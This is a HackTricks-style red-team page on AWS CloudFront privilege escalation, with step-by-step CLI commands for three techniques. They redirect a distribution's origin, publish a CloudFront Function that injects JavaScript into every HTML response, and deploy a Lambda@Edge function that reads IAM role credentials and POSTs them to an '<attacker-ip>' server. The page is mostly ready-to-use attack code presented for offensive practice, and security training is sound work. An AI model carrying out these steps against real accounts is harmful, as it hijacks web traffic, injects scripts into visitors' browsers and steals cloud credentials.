AWS - CloudFront Privesc

Reading time: 4 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

CloudFront

cloudfront:UpdateDistribution & cloudfront:GetDistributionConfig

An attacker who has cloudfront:UpdateDistribution and cloudfront:GetDistributionConfig permissions can modify a CloudFront distribution’s configuration. They don’t need permissions on the target S3 bucket itself, although the attack is easier if that bucket has a permissive policy that allows access from the cloudfront.amazonaws.com service principal.

The attacker changes a distribution’s origin configuration to point to another S3 bucket or to a server controlled by the attacker. First they fetch the current distribution configuration:

bash
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json

Then they edit current-config.json to point the origin to the new resource — for example, a different S3 bucket:

bash
...
"Origins": {
  "Quantity": 1,
  "Items": [
    {
      "Id": "<origin-id>",
      "DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
      "OriginPath": "",
      "CustomHeaders": {
        "Quantity": 0
      },
      "S3OriginConfig": {
        "OriginAccessIdentity": "",
        "OriginReadTimeout": 30
      },
      "ConnectionAttempts": 3,
      "ConnectionTimeout": 10,
      "OriginShield": {
        "Enabled": false
      },
      "OriginAccessControlId": "E30N32Y4IBZ971"
    }
  ]
},
...

Finally, apply the modified configuration (you must supply the current ETag when updating):

bash
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution \
  --id <distribution-id> \
  --distribution-config file://current-config.json \
  --if-match $CURRENT_ETAG

cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction

An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.

The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:

function handler(event) {
  var request = event.request;
  var response = event.response;
  // Create a new body with malicious JavaScript
  var maliciousBody = `
  <!DOCTYPE html>
  <html>
  <head>
  <title>Compromised Page</title>
  </head>
  <body>
  <h1>Original Content</h1>
  <p>This page has been modified by CloudFront Functions</p>
  <script>
  // Malicious JavaScript
  alert('CloudFront Function Code Injection Successful!');
  </script>
  </body>
  </html>
  `;
  // Replace the body entirely
  response.body = { encoding: "text", data: maliciousBody };
  // Update headers
  response.headers["content-type"] = { value: "text/html; charset=utf-8" };
  response.headers["content-length"] = {
    value: maliciousBody.length.toString(),
  };
  response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
  return response;
}

Commands to create, publish and attach the function:

# Create the malicious function in CloudFront
aws cloudfront create-function --name malicious-function --function-config '{
    "Comment": "Malicious CloudFront Function for Code Injection",
    "Runtime": "cloudfront-js-1.0"
}' --function-code fileb://malicious-function.js

# Get the ETag of the function in DEVELOPMENT stage
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text

# Publish the function to LIVE stage
aws cloudfront publish-function --name malicious-function --if-match <etag>

Add the function to the distribution configuration (FunctionAssociations):

"FunctionAssociations": {
  "Quantity": 1,
  "Items": [
    {
      "FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
      "EventType": "viewer-response"
    }
  ]
}

Finally update the distribution configuration (remember to supply the current ETag):

CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG

lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole & cloudfront:UpdateDistribution

An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.

The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:

// malicious-lambda-edge.js
exports.handler = async (event) => {
  // Obtain role credentials
  const credentials = {
    accessKeyId: process.env.AWS_ACCESS_KEY_ID,
    secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
    sessionToken: process.env.AWS_SESSION_TOKEN,
  };
  // Send credentials to attacker's server
  try {
    await fetch("https://<attacker-ip>/steal-credentials", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify(credentials)
    });
  } catch (error) {
    console.error("Error sending credentials:", error);
  }
  if (event.Records && event.Records[0] && event.Records[0].cf) {
    // Modify response headers
    const response = event.Records[0].cf.response;
    response.headers["x-credential-theft"] = [
      {
        key: "X-Credential-Theft",
        value: "Successful",
      },
    ];
    return response;
  }
  return {
    statusCode: 200,
    body: JSON.stringify({ message: "Credentials stolen" })
  };
};
# Package the Lambda@Edge function
zip malicious-lambda-edge.zip malicious-lambda-edge.js

# Create the Lambda@Edge function with a privileged role
aws lambda create-function \
    --function-name malicious-lambda-edge \
    --runtime nodejs18.x \
    --role <privileged-role-arn> \
    --handler malicious-lambda-edge.handler \
    --zip-file fileb://malicious-lambda-edge.zip \
    --region <region>

# Publish a version of the function
aws lambda publish-version --function-name malicious-lambda-edge --region <region>

Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:

"LambdaFunctionAssociations": {
  "Quantity": 1,
  "Items": [
    {
      "LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
      "EventType": "viewer-response",
      "IncludeBody": false
    }
  ]
}
# Apply the updated distribution config (must use current ETag)
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution \
  --id <distribution-id> \
  --distribution-config file://current-config.json \
  --if-match $CURRENT_ETAG

# Trigger the function by requesting the distribution
curl -v https://<distribution-domain>.cloudfront.net/